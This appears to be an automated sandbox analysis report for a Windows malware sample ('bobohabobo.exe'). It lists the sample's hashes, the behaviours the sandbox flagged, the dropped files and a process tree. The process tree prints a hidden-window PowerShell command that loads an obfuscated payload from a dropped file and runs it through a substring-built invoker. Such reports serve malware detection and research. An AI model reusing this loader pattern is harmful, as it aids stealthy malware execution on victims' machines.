Overview
overview
10Static
static
3bobohabobo.exe
windows7-x64
10bobohabobo.exe
windows10-2004-x64
8$PLUGINSDI...er.dll
windows7-x64
1$PLUGINSDI...er.dll
windows10-2004-x64
1$PLUGINSDI...ge.dll
windows7-x64
1$PLUGINSDI...ge.dll
windows10-2004-x64
1$PLUGINSDI...gs.dll
windows7-x64
3$PLUGINSDI...gs.dll
windows10-2004-x64
3Analysis
-
max time kernel
148s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240611-en -
resource tags
arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system -
submitted
24-06-2024 19:19
Static task
static1
Behavioral task
behavioral1
Sample
bobohabobo.exe
Resource
win7-20240611-en
Behavioral task
behavioral2
Sample
bobohabobo.exe
Resource
win10v2004-20240611-en
Behavioral task
behavioral3
Sample
$PLUGINSDIR/Banner.dll
Resource
win7-20240611-en
Behavioral task
behavioral4
Sample
$PLUGINSDIR/Banner.dll
Resource
win10v2004-20240508-en
Behavioral task
behavioral5
Sample
$PLUGINSDIR/BgImage.dll
Resource
win7-20240508-en
Behavioral task
behavioral6
Sample
$PLUGINSDIR/BgImage.dll
Resource
win10v2004-20240611-en
Behavioral task
behavioral7
Sample
$PLUGINSDIR/nsDialogs.dll
Resource
win7-20240508-en
Behavioral task
behavioral8
Sample
$PLUGINSDIR/nsDialogs.dll
Resource
win10v2004-20240508-en
General
-
Target
bobohabobo.exe
-
Size
492KB
-
MD5
daefc1d031c8aaa70bc98e08278792c0
-
SHA1
148d0b47ec294971d0a7bc64b93e21c15048ad75
-
SHA256
2b1e95e09f17b8495ebbbbaccf86418440cfaeb4fadd8156ab7fc533c1efb152
-
SHA512
e9831ed53ef93d401fcf870dfe943e9ce76bf01deedba4db46d8860b638432445b6e7b13c639b2dd6dc8df7d1b82c57f1325aeba27816cd6d6d108dea351293c
-
SSDEEP
12288:Tqgow1LlsfJfmAhRRwXyx+B7JgyD9qhIVa5LkS:N1L+fJeAhRiix+lJgyZXVa5R
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Loads dropped DLL 3 IoCs
Processes:
bobohabobo.exepid process 2504 bobohabobo.exe 2504 bobohabobo.exe 2504 bobohabobo.exe -
Drops file in System32 directory 1 IoCs
Processes:
bobohabobo.exedescription ioc process File created C:\Windows\SysWOW64\energetiskes\Physicianer223.lnk bobohabobo.exe -
Drops file in Program Files directory 3 IoCs
Processes:
bobohabobo.exedescription ioc process File opened for modification C:\Program Files (x86)\Common Files\eduard.lyz bobohabobo.exe File opened for modification C:\Program Files (x86)\Common Files\yeastless.Rus bobohabobo.exe File opened for modification C:\Program Files (x86)\Common Files\Marrowless\Mutated.ini bobohabobo.exe -
Drops file in Windows directory 1 IoCs
Processes:
bobohabobo.exedescription ioc process File opened for modification C:\Windows\schematizers.roa bobohabobo.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 2408 700 WerFault.exe powershell.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
powershell.exepid process 700 powershell.exe 700 powershell.exe 700 powershell.exe 700 powershell.exe 700 powershell.exe 700 powershell.exe 700 powershell.exe 700 powershell.exe 700 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 700 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
bobohabobo.exedescription pid process target process PID 2504 wrote to memory of 700 2504 bobohabobo.exe powershell.exe PID 2504 wrote to memory of 700 2504 bobohabobo.exe powershell.exe PID 2504 wrote to memory of 700 2504 bobohabobo.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\bobohabobo.exe"C:\Users\Admin\AppData\Local\Temp\bobohabobo.exe"1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Sddonoren198=Get-Content 'C:\Users\Admin\AppData\Local\Temp\overmandede\Metran\menubilledet\Metalvrker.Uns';$Fletdokumenter=$Sddonoren198.SubString(21681,3);.$Fletdokumenter($Sddonoren198)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 700 -s 24843⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 700 -ip 7001⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5kfcinkb.opx.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\nsl3B74.tmp\Banner.dllFilesize
4KB
MD5843657eaf7240b695624dcf38bb0eb31
SHA1ca99a44e737fdeaab56f864ce1ef15a57d2eec90
SHA256b935d14c32ad8e16055f7f5794ac3411e601c5ac93155afc623f25b08e2ab82e
SHA5127773d9f6bbd17253d1c96ce225b2f9d3673969b38177afef236d1c5d4aabaae2c07793e07c34f0281ec3b859ae955e83bfe43a598ce7cc6c893ec8c9604f5de3
-
C:\Users\Admin\AppData\Local\Temp\nsl3B74.tmp\BgImage.dllFilesize
7KB
MD5a98576f0d6b35b466cb881860977fdbc
SHA128b3dbbd76f15c876b98dce523100aa3256d193a
SHA2566cc4aadae46ee3e7f39b411ba087ec29bc10aa62b6b5b44003c934b3c51cefe2
SHA51229225bfb30e72d7d3d3571e7562b5901dbf2382af1972cc9a2be8e3bef697b9ac9e0aaac3a9bca191da827ad3cfce7f6876e8be9444663e83a7e2e86788a733c
-
C:\Users\Admin\AppData\Local\Temp\nsl3B74.tmp\nsDialogs.dllFilesize
9KB
MD52c84faebfda2abe3b16fdf374df4272f
SHA1a5b0258a94e0440aefe1ef320e62e7a9a1c8bb40
SHA25672b38e4cca0af336655d55501c4ea05080baaa9921a62a2d717afe90bb801004
SHA512207164cc6914c59d9f4f3b8ae97628c544093ba6ecda9f8da351f453cd97e03be7a640264b8686b2d5e6f3c787f4df1d8a1ebc8e51fd788a97460cd981cc015e
-
C:\Users\Admin\AppData\Local\Temp\overmandede\Metran\menubilledet\Metalvrker.UnsFilesize
70KB
MD59ad72344eaf3be12f5ce07ddddeaaf5d
SHA1c9af4b7abd334707a722ff427bbd367f0260948d
SHA256e0c9477ce03da5dc70ac493088572f801f54ef86b6582dd8631a8f0036b556c2
SHA512423d3c7958e70ee461b424f979608120a483836c476de7f446e6f84e32cc8f6ccd8d3d9911a9d432b5e69e154224a87a0c03bb34d21a1620f4f1d45b0e32eedb
-
memory/700-33-0x0000000004D40000-0x0000000004DA6000-memory.dmpFilesize
408KB
-
memory/700-45-0x0000000005C80000-0x0000000005CCC000-memory.dmpFilesize
304KB
-
memory/700-30-0x0000000073D80000-0x0000000074530000-memory.dmpFilesize
7.7MB
-
memory/700-31-0x0000000004C30000-0x0000000004C52000-memory.dmpFilesize
136KB
-
memory/700-29-0x0000000004E80000-0x00000000054A8000-memory.dmpFilesize
6.2MB
-
memory/700-27-0x0000000002600000-0x0000000002636000-memory.dmpFilesize
216KB
-
memory/700-32-0x0000000004CD0000-0x0000000004D36000-memory.dmpFilesize
408KB
-
memory/700-43-0x00000000055F0000-0x0000000005944000-memory.dmpFilesize
3.3MB
-
memory/700-44-0x0000000005BE0000-0x0000000005BFE000-memory.dmpFilesize
120KB
-
memory/700-28-0x0000000073D80000-0x0000000074530000-memory.dmpFilesize
7.7MB
-
memory/700-46-0x0000000006DC0000-0x0000000006E56000-memory.dmpFilesize
600KB
-
memory/700-47-0x0000000006120000-0x000000000613A000-memory.dmpFilesize
104KB
-
memory/700-48-0x0000000006170000-0x0000000006192000-memory.dmpFilesize
136KB
-
memory/700-49-0x0000000007410000-0x00000000079B4000-memory.dmpFilesize
5.6MB
-
memory/700-26-0x0000000073D8E000-0x0000000073D8F000-memory.dmpFilesize
4KB
-
memory/700-51-0x0000000008040000-0x00000000086BA000-memory.dmpFilesize
6.5MB
-
memory/700-53-0x0000000073D80000-0x0000000074530000-memory.dmpFilesize
7.7MB